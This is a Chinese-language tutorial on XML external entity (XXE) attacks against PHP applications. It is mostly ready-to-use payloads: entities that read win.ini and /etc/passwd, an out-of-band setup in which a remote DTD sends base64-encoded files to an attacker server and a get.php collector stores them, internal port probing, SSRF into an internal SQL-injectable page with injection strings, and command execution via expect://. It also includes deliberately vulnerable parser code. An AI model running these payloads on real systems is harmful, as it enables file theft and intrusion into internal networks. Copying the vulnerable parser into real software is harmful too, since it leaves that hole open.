0x01 XXE危害说明

XXE就是XML外部实体注入。

由于服务端未对提交的xml的数据中引入外部实体做必要的处理,而在外部实体中引入php伪协议从而造成的攻击。

当允许引用外部实体时,通过构造恶意内容,可导致

  • 读取任意文件
  • 探测内网端口
  • 攻击内网网站
  • 执行系统命令

0x02 环境说明

PHP环境低于5.5使用此代码测试

  1. <?php
  2. $data = file_get_contents('php://input');
  3. $xml = simplexml_load_string($data);
  4. # 不需要回显时 注释print($xml);
  5. print($xml);

PHP环境大于等于5.5使用此代码测试

  1. <?php
  2. $data = file_get_contents('php://input');
  3. $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
  4. # 不需要回显时 注释print($xml);
  5. print($xml);

0x03 漏洞利用

注意点: 利用xxe读取的数据返回不能有html元素不然会报错

读取文件

有回显

利用各种协议可以读取文件,比如file://,php://filter

  1. # windows 读取文件-file
  2. <?xml version="1.0" encoding="UTF-8" ?>
  3. <!DOCTYPE ANY [
  4. <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
  5. <value>&xxe;</value>

image.png

  1. # windows 读取文件-php://filter
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Windows/win.ini">]>
  4. <root>&file;</root>
  1. # linux 读取文件
  2. <?xml version="1.0" encoding="UTF-8" ?>
  3. <!DOCTYPE ANY [
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <value>&xxe;</value>
  1. # linux 读取文件-php://filter
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
  4. <root>&file;</root>

无回显

无回显的的话则需要将文件读取的内容发送到我们的远程服务器上。

  1. // 模拟情景
  2. A服务器:攻击方 域名:http://xxe.test.com
  3. B服务器:受害者 域名:http://atest.test
  1. // 1.在A服务器建立php文件接收数据
  2. // 文件名称:get.php
  3. <?php
  4. file_put_contents('xxe_data.txt', $_GET['xxe_local']);
  5. ?>
  1. // 2.在A服务器建立xml文件给 B服务器引入
  2. // 文件名称:1.xml
  3. <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini">
  4. <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://xxe.test.com/get.php?xxe_local=%data;'>">
  1. // 此payload运行在 http://atest.test
  2. <?xml version="1.0" ?>
  3. <!DOCTYPE r [
  4. <!ELEMENT r ANY >
  5. <!ENTITY % sp SYSTEM "http://xxe.test.com/1.xml">
  6. %sp;
  7. %param1;
  8. ]>
  9. <r>&exfil;</r>

在目标站点执行
image.png

执行完以后会把数据base64回传给get.php
get.php会创建一个xxe_data.txt文件并且写入数据
image.png

探测内网

探测内网端口

  1. #修改 http://127.0.0.1:80 为任意地址端口
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE xxe [
  4. <!ELEMENT name ANY >
  5. <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
  6. <root>
  7. <name>&xxe;</name>
  8. </root>

运行以后
如果访问的端口是打开的,那么他返回就会很快
如果返回很慢,就说明端口没开

攻击内网网站

例子1

  1. <!DOCTYPE foo [<!ELEMENT foo ANY >
  2. <!ENTITY xxe SYSTEM "http://127.0.0.1:80/test/test_sql.php?id=1" >
  3. ]>
  4. <foo>&xxe;</foo>

例如: http://127.0.0.1:80/test/test_sql.php?id=1 现在有sql注入
image.png

image.png

image.png

然后就是正常注入即可

例子2

为了解决返回有html会爆错的问题,我们可以把数据base64 发送到我们服务器进行查看

  1. // 模拟情景
  2. A服务器:攻击方 域名:http://xxe.test.com
  3. B服务器:受害者 域名:http://127.0.0.1:80/test/test_sql.php?id=1
  1. // 1.在A服务器建立php文件接收数据
  2. // 文件名称:get.php
  3. <?php
  4. file_put_contents('xxe_data.txt', $_GET['xxe_local']);
  5. ?>
  1. // 2.在A服务器建立xml文件给 B服务器引入
  2. // 文件名称:1.xml
  3. <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:80/test/test_sql.php?id=1">
  4. <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://xxe.test.com/get.php?xxe_local=%data;'>">
  5. 对http://127.0.0.1:80/test/test_sql.php?id=1进行普通注入即可
  6. 例如:
  7. http://127.0.0.1:80/test/test_sql.php?id=1' and '1'='1
  8. http://127.0.0.1:80/test/test_sql.php?id=1' and '1'='2
  1. // 此payload运行在 http://atest.test
  2. <?xml version="1.0" ?>
  3. <!DOCTYPE r [
  4. <!ELEMENT r ANY >
  5. <!ENTITY % sp SYSTEM "http://xxe.test.com/1.xml">
  6. %sp;
  7. %param1;
  8. ]>
  9. <r>&exfil;</r>

image.png

执行完以后会把数据base64回传给get.php
get.php会创建一个xxe_data.txt文件并且写入数据
image.png

解密返回的就是页面数据 然后不断修改1.xml进行注入即可

执行系统命令

需要系统安装了PECL上的Expect拓展

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "expect://ipconfig" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>